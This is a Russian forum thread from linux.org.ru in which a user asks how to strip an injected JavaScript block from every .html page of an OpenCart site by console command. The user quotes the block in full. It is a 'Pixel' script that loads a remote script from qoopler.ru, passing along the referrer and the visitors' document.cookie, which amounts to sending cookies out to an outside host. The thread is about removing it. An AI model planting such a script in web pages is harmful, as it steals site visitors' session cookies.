LINUX.ORG.RU

Удаление участка текста из всех файлов по маска «*.html»

 , ,


1

1

Надобно удалить js Script со всех страничек. Хер знает как это сделать через консоль дабы не шерстить все файлы в ручную. Код содержит переносы строки. Нужен только способ удаления из консоли, с остальным сам разберусь. Спасибо заранее всем сердобольные. Не кидайте только помидорами, я с консолью дружу, но не с текстовыми файлами.

Смотря в каком состоянии помоечности эти файлы. Если там все аккуратно, то может и регулярки хватит, но всеравно придется перешерстить и проверить что она там нарегулировала. А если там помойная жопа, то только парсить хмл парсером и искать ноды скрипта, кроме того еще есть и другие способы внедрить жс кроме как <script[^<]*></script>.

deep-purple ★★★★★
()
Ответ на: комментарий от deep-purple

Все чистенько. Код сформирован движком opencart, а js добавлял другой сотрудник. Проблема в том, что регулярку я сделаю. Наверное. Куда ее пихать потом, вот в чем вопрос.

Gargulia
() автор топика
Ответ на: комментарий от deep-purple

Сам кусок кода

<!-- Pixel --> <script type=«text/javascript»> (function (d, w) { var n = d.getElementsByTagName(«script»)[0], s = d.createElement(«script»), f = function () { n.parentNode.insertBefore(s, n); }; s.type = «text/javascript»; s.async = true; s.src = "https://qoopler.ru/index.php?ref=" d.referrer "&cookie=" + encodeURIComponent(document.cookie);

if (w.opera == «[object Opera]») { d.addEventListener(«DOMContentLoaded», f, false); } else { f(); } })(document, window); </script> <!-- /Pixel -->

Gargulia
() автор топика
Ответ на: комментарий от Gargulia

Регулярка сломает хтмл если будет что-то типа:

<script>var x = '</script>', y = 'ololo';</script>
Если кусок кода один и тот же, то может сразу весь и заменить на пустоту? Конкретно тут можно зацепиться за <!-- Pixel -->

deep-purple ★★★★★
()
Последнее исправление: deep-purple (всего исправлений: 2)
Ответ на: комментарий от deep-purple

Тогда итоговые два вопроса. Даже один Какой командой удалить из файла содержимое между <!--Pixel-->?

Gargulia
() автор топика
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.